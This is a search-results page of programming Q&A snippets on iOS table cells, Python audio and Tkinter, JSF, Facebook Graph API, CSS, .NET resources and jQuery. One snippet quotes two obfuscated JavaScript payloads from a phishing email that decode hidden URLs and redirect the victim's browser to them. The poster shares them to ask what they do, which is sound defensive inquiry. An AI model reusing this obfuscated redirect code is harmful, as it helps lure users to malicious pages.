Search Results

Search found 369 results on 15 pages for 'nadav bg'.

Page 12/15 | < Previous Page | 8 9 10 11 12 13 14 15  | Next Page >

  • Image "moves" when varying heightForRowAtIndexPath in UITableViewCell.

    - by Kalle
    I have a table view with varying height, as defined in the heightForRowAtIndexPath. For some very odd reason, the image is "indented" to the right based on the height; if the height is low enough, the image is stuck to the left side of the cell, but as the height increases, the image for said cell is shifted rightward compared to other rows. The result of this is a very poor looking list, with images floppily laid out in a zig-zag pattern depending on the height of each individual row. The problem is revealed by this simple example: - (CGFloat)tableView:(UITableView *)tableView heightForRowAtIndexPath:(NSIndexPath *)indexPath { return (indexPath.row+1) * 50; } Each cell is set up (simplified) as a "Subtitle" style cell with: // ... cell.textLabel.text = @"foo"; cell.detailTextLabel.text = @"bar"; cell.imageView.backgroundColor = [UIColor redColor]; // for debugging; i have images with transparent bg cell.imageView.image = anImageThatIs55x50pixelsBig; return cell; Any ideas? My head bleeds from the wall-love-affair. Edit: uploaded a screen which displays this. The "image" is just a screenshot of a tiny area of the screen which makes it look a little weird, but you get the picture I'm sure: http://img28.imageshack.us/img28/549/screenshot20100311at172.png

    Read the article

  • Python: combining making two scripts into one

    - by Alex
    I have two separately made python scripts one that makes a sine wave sound based off time, and another that produces a sine wave graph that is based off the same time factors. I need help combining them into one running file. Here's the first: from struct import pack from math import sin, pi import time def au_file(name, freq, freq1, dur, vol): fout = open(name, 'wb') # header needs size, encoding=2, sampling_rate=8000, channel=1 fout.write('.snd' + pack('>5L', 24, 8*dur, 2, 8000, 1)) factor = 2 * pi * freq/8000 factor1 = 2 * pi * freq1/8000 # write data for seg in range(8 * dur): # sine wave calculations sin_seg = sin(seg * factor) + sin(seg * factor1) fout.write(pack('b', vol * 64 * sin_seg)) fout.close() t = time.strftime("%S", time.localtime()) ti = time.strftime("%M", time.localtime()) tis = float(t) tis = tis * 100 tim = float(ti) tim = tim * 100 if __name__ == '__main__': au_file(name='timeSound.au', freq=tim, freq1=tis, dur=1000, vol=1.0) import os os.startfile('timeSound.au') and the second is this: from Tkinter import * import math import time t = time.strftime("%S", time.localtime()) ti = time.strftime("%M", time.localtime()) tis = float(t) tis = tis / 100 tim = float(ti) tim = tim / 100 root = Tk() root.title("This very moment") width = 400 height = 300 center = height//2 x_increment = 1 # width stretch x_factor1 = tis x_factor2 = tim # height stretch y_amplitude = 50 c = Canvas(width=width, height=height, bg='black') c.pack() str1 = "sin(x)=white" c.create_text(10, 20, anchor=SW, text=str1) center_line = c.create_line(0, center, width, center, fill='red') # create the coordinate list for the sin() curve, have to be integers xy1 = [] xy2 = [] for x in range(400): # x coordinates xy1.append(x * x_increment) xy2.append(x * x_increment) # y coordinates xy1.append(int(math.sin(x * x_factor1) * y_amplitude) + center) xy2.append(int(math.sin(x * x_factor2) * y_amplitude) + center) sinS_line = c.create_line(xy1, fill='white') sinM_line = c.create_line(xy2, fill='yellow') root.mainloop()

    Read the article

  • Can I add round cornres to HtmlPanelGrid in code or in page? If yes - how?

    - by Elena
    Hi all! I have a task - add round corners to HtmlPanelGrid. Now I am trying to do it with css (using 4 images for each corner - that css create our designer). I load css and try to do this in my code: this.grid = new HtmlPanelGrid(); this.grid.setStyleClass("toplist,toplist-top"); But no changes I could see in my page. I tried to load css and use it with tags, but it also didnt work and created one more problem - my jsf didn't reload and redisplay: <div class="toplist"> <div class="toplist-top"><h2>Top 10 List</h2></div> <div class="toplist-bg"> <div class="toplist-cont"> <rich:tab label="Top-List" id="screenTop"> <h:panelGrid id="topListTable" binding="#{chartBean.topListTable}" /> </rich:tab> <a4j:support event="onclick" reRender="menuSection" actionListener="#{chartBean.doChangeTab}" /> </div> </div> <div class="toplist-bottom"></div> </div> I am interesting of adding round corners to topListTable in the code. How can I do it? I load my css as: <link href="#{facesContext.externalContext.requestContextPath}/css/stylesheet.css" rel="styleSheet" type="text/css"/> If anybody knows, how can I add corners to the panelGrid. Sorry for stupid question, but I am newborn in jsf and richfaces, and I want to solve this task right Thanks!

    Read the article

  • How can I display the users profile pic using the facebook graph api?

    - by kielie
    Hi, I would like to display the users profile picture inside of my applications canvas page, is there a way to do that using the graph api? I know I can do it using FBML but I would also like to pass the profile pic to a flash game I am making, so I would have to get the profile pic from the api and send it as a variable, here is the code I have thus far, $facebook = new Facebook(array( 'appId' => FACEBOOK_APP_ID, 'secret' => FACEBOOK_SECRET_KEY, 'cookie' => true, 'domain' => 'myurl/facebook-test' )); $session = $facebook->getSession(); $uid = $facebook->getUser(); $me = $facebook->api('/me'); $updated = date("l, F j, Y", strtotime($me['updated_time'])); echo "Hello " . $me['name'] . $me['picture'] . "<br />"; echo "<div style=\"background:url(images/bg.jpg); width:760px; height:630px;\">" . "You last updated your profile on " . $updated . "</div>" . "<br /> your uid is" . $uid; Thanx in advance!

    Read the article

  • Is it possible to have a SeekBar's thumb image extend outside the bar?

    - by Poko
    I have set negative paddings on my custom seekbar so that the round thumb image can go outside the bar, but the thumb isn't rendered out there, is there anyway to force the thumb to be drawn outside those bounds? Sorry guys, I'm new to Android development, and have been tasked with fixing an existing application. The problem is that we have a custom rounded looking track bar, which consists of two rounded 'end cap' images and a 1 px background that is tiled to create the seekbar. As far as I can tell there was never one image that could be set as the background of a normal SeekBar, which is why a custom one was created. The thumb is a circle and needs to 'fit' into the end caps - the three pieces of the bar are in a relative layout. Right now I'm kind of unclear as to how the 1 px background png gets stretched as the seekbar bg, otherwise I would try to tack on the two endcaps onto that drawable some how ... ? Please let me know if this was unclear and I'll try to post any followup info. Thanks in advance for any advice!! Oh, I'm using Android 2.1 if that's relevant to anyone's interests :)

    Read the article

  • Business Layer Pattern on Rails? MVCL

    - by Fabiano PS
    That is a broad question, and I appreciate no short/dumb asnwers like: "Oh that is the model job, this quest is retarded (period)" PROBLEM Where I work at people created a system over 2 years for managing the manufacture process over demand in the most simplified still broad as possible, involving selling, buying, assemble, The system is coded over Ruby On Rails. The result has been changed lots of times and the result is a mess on callbacks (some are called several times), 200+ models, and fat controllers: Total bad. The QUESTION is, if there is a gem, or pattern designed to handle Rails large app logic? The logic whould be able to fully talk to models (whose only concern would be data format handling and validation) What I EXPECT is to reduce complexity from various controllers, and hard to track callbacks into files with the responsibility to handle a business operation logic. In some cases there is the need to wait for a response, in others, only validation of the input is enough and a bg process would take place. ie: -- Sell some products (need to wait the operation to finish) 1. Set a View able to get the products input 2. Controller gets the product list inputed by employee and call the logic Logic::ExecuteWithResponse('sell', 'products', :prods => @product_list_with_qtt, :when => @date, :employee => current_user() ) This Logic would handle buying order, assemble order, machine schedule, warehouse reservation, and others

    Read the article

  • What does this Javascript do?

    - by nute
    I've just found out that a spammer is sending email from our domain name, pretending to be us, saying: Dear Customer, This e-mail was send by ourwebsite.com to notify you that we have temporanly prevented access to your account. We have reasons to beleive that your account may have been accessed by someone else. Please run attached file and Follow instructions. (C) ourwebsite.com (I changed that) The attached file is an HTML file that has the following javascript: <script type='text/javascript'>function mD(){};this.aB=43719;mD.prototype = {i : function() {var w=new Date();this.j='';var x=function(){};var a='hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, '');var d=new Date();y="";aL="";var f=document;var s=function(){};this.yE="";aN="";var dL='';var iD=f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];this.v="v";var q=27427;var m=new Date();iD['hqrteqfH'.replace(/[Htqag]/g, '')]=a;dE='';k="";var qY=function(){};}};xO=false;var b=new mD(); yY="";b.i();this.xT='';</script> Another email had this: <script type='text/javascript'>function uK(){};var kV='';uK.prototype = {f : function() {d=4906;var w=function(){};var u=new Date();var hK=function(){};var h='hXtHt9pH:9/H/Hl^e9n9dXe!r^mXeXd!i!a^.^c^oHm^/!iHmHaXg!e9sH/^zX.!hXt9m^'.replace(/[\^H\!9X]/g, '');var n=new Array();var e=function(){};var eJ='';t=document['lDo6cDart>iro6nD'.replace(/[Dr\]6\>]/g, '')];this.nH=false;eX=2280;dF="dF";var hN=function(){return 'hN'};this.g=6633;var a='';dK="";function x(b){var aF=new Array();this.q='';var hKB=false;var uN="";b['hIrBeTf.'.replace(/[\.BTAI]/g, '')]=h;this.qO=15083;uR='';var hB=new Date();s="s";}var dI=46541;gN=55114;this.c="c";nT="";this.bG=false;var m=new Date();var fJ=49510;x(t);this.y="";bL='';var k=new Date();var mE=function(){};}};var l=22739;var tL=new uK(); var p="";tL.f();this.kY=false;</script> Can anyone tells me what it does? So we can see if we have a vulnerability, and if we need to tell our customers about it ... Thanks

    Read the article

  • Firefox radial gradient issue

    - by Tural Teyyuboglu
    Trying to set radial gradient to the bg. The problem is, all other browsers shows gradient, on Firefox doesn't. What's wrong? Generated this code on this website http://www.colorzilla.com/gradient-editor/ (with ie9 support) background: rgb(255,255,255); background: url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiA/Pgo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgdmlld0JveD0iMCAwIDEgMSIgcHJlc2VydmVBc3BlY3RSYXRpbz0ibm9uZSI+CiAgPHJhZGlhbEdyYWRpZW50IGlkPSJncmFkLXVjZ2ctZ2VuZXJhdGVkIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgY3g9IjUwJSIgY3k9IjUwJSIgcj0iNzUlIj4KICAgIDxzdG9wIG9mZnNldD0iMCUiIHN0b3AtY29sb3I9IiNmZmZmZmYiIHN0b3Atb3BhY2l0eT0iMSIvPgogICAgPHN0b3Agb2Zmc2V0PSIxMDAlIiBzdG9wLWNvbG9yPSIjZWFlYWVhIiBzdG9wLW9wYWNpdHk9IjEiLz4KICA8L3JhZGlhbEdyYWRpZW50PgogIDxyZWN0IHg9Ii01MCIgeT0iLTUwIiB3aWR0aD0iMTAxIiBoZWlnaHQ9IjEwMSIgZmlsbD0idXJsKCNncmFkLXVjZ2ctZ2VuZXJhdGVkKSIgLz4KPC9zdmc+); background: -moz-radial-gradient(center, ellipse cover, rgba(255,255,255,1) 0%, rgba(234,234,234,1) 100%); background: -webkit-gradient(radial, center center, 0px, center center, 100%, color-stop(0%,rgba(255,255,255,1)), color-stop(100%,rgba(234,234,234,1))); background: -webkit-radial-gradient(center, ellipse cover, rgba(255,255,255,1) 0%,rgba(234,234,234,1) 100%); background: -o-radial-gradient(center, ellipse cover, rgba(255,255,255,1) 0%,rgba(234,234,234,1) 100%); background: -ms-radial-gradient(center, ellipse cover, rgba(255,255,255,1) 0%,rgba(234,234,234,1) 100%); background: radial-gradient(center, ellipse cover, rgba(255,255,255,1) 0%,rgba(234,234,234,1) 100%); filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#ffffff', endColorstr='#eaeaea',GradientType=1 );

    Read the article

  • CSS issue in IE

    - by Ayaz Alavi
    Hi, Me website contains drop down menus at the top right corner. Dropdwon is displayed fine but when I hover over elements of drop down then IE is causing issue on rendering them on the other hand Firefox is displaying the way i want. website is http://www.textsensor.com/test. Can anybody tell me what is causing IE issue on its menu. Here is the details. Each parent at top has child div which contains child elements in a ul. I am displaying them inline with width of div container fixed so that two of them are being displayed in one line. Each child li contains two images and an anchor in between. These two images are providing rounded corners whereas anchor contains span which contains text of sub-menu item. On mouseover on span I am showing its parent anchor sibling images through javascript and also setting its bg-image to white. Images are not aligned correctly and span tag got down about 10px from top on IE only. Javascript is listed below $("#jsddm li ul li a span").hover(function(){ $(this).parent().siblings("img").show(); $(this).parent().css("border-bottom", "#a00 5px double"); }, function(){ $(this).parent().siblings("img").hide(); $(this).parent().css("border-bottom", "none"); }); Cheers Ayaz Alavi

    Read the article

  • .net Globalization and ResourceManager

    - by Andrew Bullock
    I've got a console app and i need to globalize some of the hardcoded message strings. I've got two assemblies: MyProgram.Console (Console app) MyProgram.Core (class lib) In MyProgram.Core I've made a Language.en-GB.resx and set it as an Embedded Resource. In the resource I've created a key/value pair: "SomeKey" : "SomeValue" When I build my application I get: bin/MyProgram.Console.exe bin/MyProgram.Core.dll bin/en-BG/MyProgram.Core.resources.dll How do I address these resource key/values? Currently I'm trying this from a class within MyProgram.Core: var mgr = new ResourceManager(GetType().Assembly.GetName().Name, Assembly.GetExecutingAssembly()); mgr.GetString("SomeKey", new Culture("en-GB")); But I keep getting: System.Resources.MissingManifestResourceException: Could not find any resources appropriate for the specified culture or the neutral culture. Make sure "MyProgram.Core.resources" was correctly embedded or linked into assembly "MyProgram.Core" at compile time, or that all the satellite assemblies required are loadable and fully signed. What am I doing wrong? I've tried every combination I can think of for the baseName argument to the ResourceManagers ctor. Thanks

    Read the article

  • Changing CSS height property removes anchors?

    - by JMan
    I am working on a standard header/navigation for my website. I started with having a CSS "height" value of 100% for the html, body elements but this resulted in the wrong layout. However, when I change the CSS height property from "100%" to "auto", the layout is correct, but I lose the anchors in the navigation. Why is this? Here's my CSS: html,body { height: auto; /* This is the only property that I'm toggling */ margin: 0; } body { margin: 0; min-width: 978px; font: 12px/16px Arial, Helvetica, sans-serif; color: #000; background: #000001 url('../images/bg-body.jpg') no-repeat 50% 0; } #nav { position: relative; float: left; margin: 0; padding: 0 2px 0 271px; list-style: none; background: url('../images/sep-nav.gif') no-repeat 100% 0; } #nav li { float: left; padding: 11px 0 0 2px; height: 35px; width: 128px; line-height: 22px; font-size: 18px; text-align: center; background: url('../images/sep-nav.gif') no-repeat 0 -1px; display: inline; } #nav li a {color: #FFFEFE;} ..... I compared the computed CSS in Firebug when the html, body height property was set to "auto" vs. "100%" and they were the same. Can somebody please shed some light on how retain the anchors in the navigation while setting height to "auto"? Thanks for your help.

    Read the article

  • Best terminal environment for Cygwin/Windows?

    - by Anders Sandvig
    Today I run Cygwin with rxvt using the following startup line: rxvt -bg black -sl 8192 -fg white -sr -g 150x56 -fn "Fixedsys" -e /usr/bin/bash --login -i This gives me a resizeable native Windows window which is much better than the standard "DOS box" the default cygwin.bat provides. However, the current configuration does have a couple of issues: I am not able to enter non-ASCII characters into the terminal window (i.e. æ, ø, å and Æ, Ø, Å, which I use semi-frequently. In fact, the terminal will not even accept them when I paste them into the window. If I paste a string like "bølle" (Norwegian for "bulley"), all I get is "blle". I am not able to render UTF-8 character, they only show as ?, even if they are supported by the font (i.e. when rendering the same characters in ISO-8859-1 they show just fine.). I am running English Windows Vista with locale and keyboard layout set to Norwegian (ISO-8859-1 character set?), but I've had the exact same issue on Windows 2000 and XP. Anyone knows how to fix this (i.e. a better way to configure rxvt)? Apart from the issues mentioned above, I'm very happy with rxvt, so if I find a way to resolve them I'd like to continue using it. However, if the issues are not (easily) solvable, are the any other good terminal solutions for Cygwin? Update The solution provided by Andy and Mattias (editing the .inputrc file) did solve the input problem, but output rendering is still an issue. Output is fine when I render in ISO-8859-1, but when using UTF-8 I only get ? for non-ASCII characters. This behavior is consistent between rxvt, urxvt (under Cygwin XFree X Server), mintty and PuttyCyg. Is there a similar configuration file where output encoding can be set (i.e. the equivalent of setting output locale on a Linux system)?

    Read the article

  • Flex redrawing background when Scrolling, degrafa: How ?.

    - by coulix
    Hi Everyone, I am using a canvas which has a degrafa background, so far so good. However when scrolling apears the background (degrafa grid) does not get redrawn. In the code the bg strokes are linked to the container height. The thing is container.height does not change even when scrolling. How do i get the heigh of the whole area so i can set the new height to my degrafa background ? it looks like this. <mx:Canvas id="blackBoard" width="100%" height="100%" x="0" y="0" backgroundColor="#444444" clipContent="true"> <!-- Degrafa Surface --> <degrafa:Surface id="boardSurfaceContainer"> <degrafa:strokes> <degrafa:SolidStroke id="whiteStroke" color="#EEE" weight="1" alpha=".2"/> </degrafa:strokes> <!-- Grid drawing --> <degrafa:GeometryGroup id="grid"> <degrafa:VerticalLineRepeater count="{blackBoard.width / ApplicationFacade.settings.GRID_SIZE}" stroke="{whiteStroke}" x="0" y="0" y1="{blackBoard.height}" offsetX="0" offsetY="0" moveOffsetX="{ApplicationFacade.settings.GRID_SIZE}" moveOffsetY="0"/> <degrafa:HorizontalLineRepeater count="{blackBoard.height / ApplicationFacade.settings.GRID_SIZE}" stroke="{whiteStroke}" x="0" y="0" x1="{blackBoard.width}" offsetX="0" offsetY="0" moveOffsetX="0" moveOffsetY="{ApplicationFacade.settings.GRID_SIZE}"/> </degrafa:GeometryGroup> </degrafa:Surface>

    Read the article

  • How can I create an automatically generated alteranate table row color ?

    - by UXdesigner
    Good day, I've been trying to make this CSS code work: table.mytable { margin: 0; padding: 0; border: 0; font-size: 0.8em; border-collapse: collapse; } table.mytable td, table.mytable th { width: auto; padding: 2px 4px; vertical-align: top; } table.mytable th { color: #fff; background:url(images/header-bg.gif); text-align: left; } table.mytable tr.alternateColor { background-color:#E9F3FC; } well, it works, if I do write it manually. But as the tables are going to be generated thru asp.NET (Aspx) , which is not manually created- I'd like my table to generate the alternate rows. I've been trying to make this work with Javascript, but I can't figure it out and I believe this is a good resource site. I've been using a manual table with Adobe Dreamweaver cs4 as a test, but I have to put the class of "alternatecolors" in order to make them appear, and I can't do this normally.: Question is , can someone provide me a good Javascript that I would put in the header of the file, and actually help me out to make this work ? I think I'm burned...or maybe I can't see what others see quickly due to the amount of time I've spent. I just tried posting the code of my table here, but I couldn't get it well formatted and I got to run... I'm not using an 'id' on this table, but the class is 'mytable'. Thank you so much for your good help.

    Read the article

  • CSS Layout-- Make table cell contents appear in row below and set height of parent row/cell

    - by Laramie
    I am modifying a skin for the CKEdit component so that the toolbar is hidden unless clicked. To do so, I moved the toolbar collapser to the row below it using position: relative and top:18px. My goal is to have the parent tr of the anchor element a height of 2px, but keep the anchor at 11px. Is this possible? I cannot alter the DOM, just the styles. Here's my reduced code <style type="text/css"> table { width: 80px;} td { border: solid 1px #ccc; } .header { background-color: #99f; /* This is being ignored */ height:2px; } .below { float: right; position: relative; top: 18px; /*If I shrink, the BG image goes Away*/ height: 11px; width: 11px; background-image: url('http://ckeditor.com/apps/ckeditor/3.3/skins/kama/images/sprites.png'); background-position: 4px -1387px; border: 1px outset #D3D3D3; } .hidden { display:none; } </style> <table> <tr><td class="header"><a class="below"><span class="hidden">#</span></a></td></tr> <tr><td>next row</td></tr> </table>

    Read the article

  • BackgroundWorker and foreach loop

    - by tomfox66
    I have to process a loop with backgroundworkers. Before I start a new loop iteration I need to wait until the provious backgroundworker has finished. A while loop inside my foreach loop with isbusy flag doesn's seem like a good idea to me. How should I design this loop so it waits for the bg-worker to end before iterating the loop public void AutoConnect() { string[] HardwareList = new string[] { "d1", "d4", "ds1_2", "ds4_2" }; foreach (string HW in HardwareList) { if (backgroundWorker1.IsBusy != true) { backgroundWorker1.RunWorkerAsync(HW); // Wait here until backgroundWorker1 finished } } } private void backgroundWorker1_DoWork(object sender, DoWorkEventArgs e) { BackgroundWorker worker = sender as BackgroundWorker; string FileName = e.Argument as string; try { if ((worker.CancellationPending == true)) { e.Cancel = true; } else { // Time consuming operation ParseFile(Filename); } } catch { } } private void backgroundWorker1_ProgressChanged(object sender, ProgressChangedEventArgs e) { label1.Text = e.ProgressPercentage.ToString() + " lines"; } private void backgroundWorker1_RunWorkerCompleted(object sender, RunWorkerCompletedEventArgs e) { if(e.Cancelled == true) { //this.tbProgress.Text = "Canceled!"; } else if(!(e.Error == null)) { //this.tbProgress.Text = ("Error: " + e.Error.Message); } else { label1.text = "Done!"; } }

    Read the article

  • Preserve whitespace and formatting for text returned from $.get jquery call

    - by desigeek
    I have a jquery $.get() call in my app that requests an entire web page. In the callback function, I access a div in the returned page, get its data and show it on my page. The problem is that the text I get from the div does not preserve the source formatting. If the div in the requested page had say an ordered list, then when i get that text and display on my page, it shows up as a paragraph with items inline instead of being shown as a list. I do not know whether the problem is how $.get() is getting the data or in my displaying of the data. //get the page $.get($(this).attr('href'), function(data){ callbackFunc(data,myLink); }, "html"); function callbackFunc(responseText, customData){ //response has bg color of #DFDFDF var td = $("td[bgcolor='#DFDFDF']", responseText); //text to show is in div of that td var forumText = $('div', td).text(); //append new row with request data below the current row in my table var currentRow = $(customData).parent('td').parent('tr'); var toAppend = "<tr><td class='myTd' colspan='3'>" + forumText + "</td></tr>"; $(currentRow).after(toAppend); } The response data shows up like ABC in the new row I add to my div while the source page div had A B C I should add that this script is part of an extension for Google Chrome so that is my only browser that I have tested on

    Read the article

  • JQuery - Fade in new Background Image?

    - by JasonS
    Hi, I think I may be trying something that isn't possible. I was recently tasked to create a html version of the flash site. On the flash site when you click on the body the image changes. I have done this with JQuery. Its brilliant! However.. it isn't "flash" enough. The powers that be want a fade effect between images. This is where I have come completely undone. This is how my script works at the moment. Images are stored in a div called photos. This is hidden. <div id="photos"> <img src="image.jpg" alt="Some caption" style="#page-bg-color" /> </div> When the page is loaded jquery checks to see if the first image is loaded. If it isn't then a loading symbol spins. When the image is loaded, it becomes the body background. $("body").css('background', 'url(' + photos[currentImage]["url"] + ') no-repeat 50% 50% fixed ' + photos[currentImage]["background"]); I have tried the following. I have tried animate. However, this doesn't work. I have tried this plugin: http://plugins.jquery.com/project/bgImageTransition This doesn't work either. It appears to clone the tag and do something. I assume it isn't working because you cannot clone the body tag. That or it is really old and is no longer compatible with the current version of JQuery. I fear that I have coded my way down a dead end. Does anybody know how I could make this work?

    Read the article

  • Wrong colors when merging images with PHP

    - by OfficeJet
    Hi, I want to get images ID's and creat from files a merged image according to the given ID's. This code is called by ajax and return the image file name (which is the server time to prevent browser caching). code: if (isset($_REQUEST['items'])){ $req_items = $_REQUEST['items']; } else { $req_items = 'a'; } $items = explode(',',$req_items); $bg_img = imagecreatefrompng('bg.png'); for ($i=0; $i<count($items); $i++){ $main_img = $items[$i].'-large.png'; $image = imagecreatefrompng($main_img); $image_tc = imagecreatetruecolor(300, 200); imagecopy($image_tc,$image,0,0,0,0,300,200); $black = imagecolorallocate($image_tc, 0, 0, 0); imagecolortransparent($image_tc, $black); $opacity = 100; $bg_width = 300; $bg_height = 200; $dest_x = 0;//$image_size[0] - $bg_width - $padding; $dest_y = 0;//$image_size[1] - $bg_height - $padding; imagecopymerge($bg_img, $image_tc, $dest_x, $dest_y, 0, 0, $bg_width, $bg_height, $opacity) ; } $file = $_SERVER['REQUEST_TIME'].'.jpg'; imagejpeg($bg_img, $file, 100); echo $file; imagedestroy($bg_img); imagedestroy($image); die(); The images are shown exactly as I want but with wrong colors. I lately added the part with imagecreatetruecolor and imagecolortransparent, and still got wrong results. I also saved the PNG itself on a 24 bit format and also later as 8 bit - not helping. every ideas is very welcomed ! Thanks

    Read the article

  • Dynamically add items to Tkinter Canvas

    - by nick369
    I'm attempting to learn Tkinter with the goal of being able to create a 'real-time' scope to plot data. As a test, I'm trying to draw a polygon on the canvas every time the 'draw' button is pressed. The triangle position is randomized. I have two problems: There is a triangle on the canvas as soon as the program starts, why and how do I fix this? It doesn't draw any triangles when I press the button, at least none that I can see. CODE from Tkinter import * from random import randint class App: def __init__(self,master): #frame = Frame(master) #frame.pack(side = LEFT) self.plotspc = Canvas(master,height = 100, width = 200, bg = "white") self.plotspc.grid(row=0,column = 2, rowspan = 5) self.button = Button(master, text = "Quit", fg = "red", \ command = master.quit) self.button.grid(row=0,column=0) self.drawbutton = Button(master, text = "Draw", command = \ self.pt([50,50])) self.drawbutton.grid(row = 0, column = 1) def pt(self, coords): coords[0] = coords[0] + randint(-20,20) coords[1] = coords[1] + randint(-20,20) x = (0,5,10) y = (0,10,0) xp = [coords[0] + xv for xv in x] yp = [coords[1] + yv for yv in y] ptf = zip(xp,yp) self.plotspc.create_polygon(*ptf) if _name_ == "_main_": root = Tk() app = App(root) root.mainloop() The code is formatting strangely within the code tags, I have no idea how to fix this.

    Read the article

  • div content margin pushing container

    - by jef2904
    Hi, Im running into an issue that's really baffleing me. I have a container that I want to apply a background to an postion it in the top right of the browser screen. The div inside has a top margin of 4em and this is pushing the container div here is the CSS #container { background: transparent url("../images/house-bg.png") top right no-repeat scroll; } #wrapper { background: #FFF; width: 960px; height: 600px; margin: 4em auto 0; border: 10px solid #C3CF21; -moz-border-radius: 20px; -webkit-border-radius: 20px; border-radius: 20px; -moz-box-shadow: 0 0 25px #444; -webkit-box-shadow: 0 0 25px #444; box-shadow: 0 0 25px #444; } and heres the HTML <div id="container"> <div id="wrapper"> <div id="header"> </div> <div id="main"> </div> </div> <div id="footer"> &copy; Copyright <?php echo date("Y");?> Company, Inc. </div> </div> I want the margin of the wrapper to be inside the container div instead of outside. I've tried multiple display properties and position properties to no avail. The only thing that fixes it is inserting an "&nbsp;" before the start of the #wrapper but theres got to be a CSS fix to this. Thanks in Advanced, Jorge

    Read the article

  • python gui events out of order

    - by dave
    from Tkinter import * from tkMessageBox import * class Gui: def __init__(self, root): self.container = Frame(root) self.container.grid() self.inputText = Text(self.container, width=50, height=8) self.outputText = Text(self.container, width=50, height=8, bg='#E0E0E0', state=DISABLED) self.inputText.grid(row=0, column=0) self.outputText.grid(row=0, column=1) self.inputText.bind("<Key>", self.translate) def translate(self, event): input = self.inputText.get(0.0, END) output = self.outputText.get(0.0, END) self.outputText.config(state=NORMAL) self.outputText.delete(0.0, END) self.outputText.insert(INSERT, input) self.outputText.config(state=DISABLED) showinfo(message="Input: %s characters\nOutput: %s characters" % (len(input), len(input))) root = Tk() #toplevel object app = Gui(root) #call to the class where gui is defined root.mainloop() #enter event loop Working on a gui in tkinter I'm a little confused as to the sequence the event handlers are run. If you run the above code you'll hopefully see... 1) Editing the text widget triggers the event handler but it seems to fire it off without registering the actual change, 2) Even when the text widget is cleared (ie, keep pressing BackSpace) it still seems to have a one character length string, 3) The output widget only receives its update when the NEXT event trigger is fired despite the fact the data came on the previous event. Is this just how bindings work in tkinter or am i missing something here? The behaviour i would like when updating the input widget is: 1) Show the change, 2) Enter event handler, 3) Update output widget, 4) Show message box.

    Read the article

  • base destructor called twice after derived object?

    - by sil3nt
    hey there, why is the base destructor called twice at the end of this program? #include <iostream> using namespace std; class B{ public: B(){ cout << "BC" << endl; x = 0; } virtual ~B(){ cout << "BD" << endl; } void f(){ cout << "BF" << endl; } virtual void g(){ cout << "BG" << endl; } private: int x; }; class D: public B{ public: D(){ cout << "dc" << endl; y = 0; } virtual ~D(){ cout << "dd" << endl; } void f(){ cout << "df" << endl; } virtual void g(){ cout << "dg" << endl; } private: int y; }; int main(){ B b, * bp = &b; D d, * dp = &d; bp->f(); bp->g(); bp = dp; bp->f(); bp->g(); }

    Read the article

  • Get part of array string

    - by user1560295
    Hello my output PHP code is : Array ( [country] => BG - Bulgaria ) ... and he comes from here : <?php $ip = $_SERVER['REMOTE_ADDR']; print_r(geoCheckIP($ip)); //Array ( [domain] => dslb-094-219-040-096.pools.arcor-ip.net [country] => DE - Germany [state] => Hessen [town] => Erzhausen ) //Get an array with geoip-infodata function geoCheckIP($ip) { //check, if the provided ip is valid if(!filter_var($ip, FILTER_VALIDATE_IP)) { throw new InvalidArgumentException("IP is not valid"); } //contact ip-server $response=@file_get_contents('http://www.netip.de/search?query='.$ip); if (empty($response)) { throw new InvalidArgumentException("Error contacting Geo-IP-Server"); } //Array containing all regex-patterns necessary to extract ip-geoinfo from page $patterns=array(); $patterns["country"] = '#Country: (.*?)&nbsp;#i'; //Array where results will be stored $ipInfo=array(); //check response from ipserver for above patterns foreach ($patterns as $key => $pattern) { //store the result in array $ipInfo[$key] = preg_match($pattern,$response,$value) && !empty($value[1]) ? $value[1] : ''; } return $ipInfo; } ?> How can I get ONLY the name of the Country like in my case "Bulgaria"? I think it will happen with preg_replace or substr but i dont know what is the better solution now.

    Read the article

  • .next is undefined, jquery plugin problem

    - by ndelangen
    I'm trying to create my own plugin. But I'm having trouble getting things right. It appears when I'm trying to traverse inside .each things go wrong. I'm trying to go to the next item every 6 seconds by fading. jQuery(function($){ $.fn.rotator = function(options){ this.each(function() { var container = $(this); var images = container.children(); //Set the opacity of all images to 0 images.css({opacity: 0.0}); //Get the first image and display it (gets set to full opacity) $('div:first',this).css({opacity: 1.0}).addClass('show'); //Call the rotator function to run the slideshow, 6000 = change to next image after 6 seconds var obj = $(this); setInterval(nextimage(obj),6000); }); }; // rotate function function nextimage(obj) { var container = $(obj); var images = container.children(); //Get the current image var current = (images.hasClass('show')? images.hasClass('show') : images.first()); //Get next image, when it reaches the end, rotate it back to the first image var next = ((current.next().length) ? ((current.next().hasClass('show')) ? images.first() :current.next()) : images.first()); //Set the fade in effect for the next image, the show class has higher z-index next.css({opacity: 0.0}) .addClass('show') .animate({opacity: 1.0}, 1000); //Hide the current image current.animate({opacity: 0.0}, 1000) .removeClass('show'); }; }); $(document).ready(function(){ $("#bg").rotator({ }) }); The error I get is: current.next is not a function Line 35 Line 35 = var next = ((current.next().length) ? ((current.next().hasClass('show')) ? images.first() :current.next()) : images.first()); Can someone tell me what I'm doing wrong?

    Read the article

< Previous Page | 8 9 10 11 12 13 14 15  | Next Page >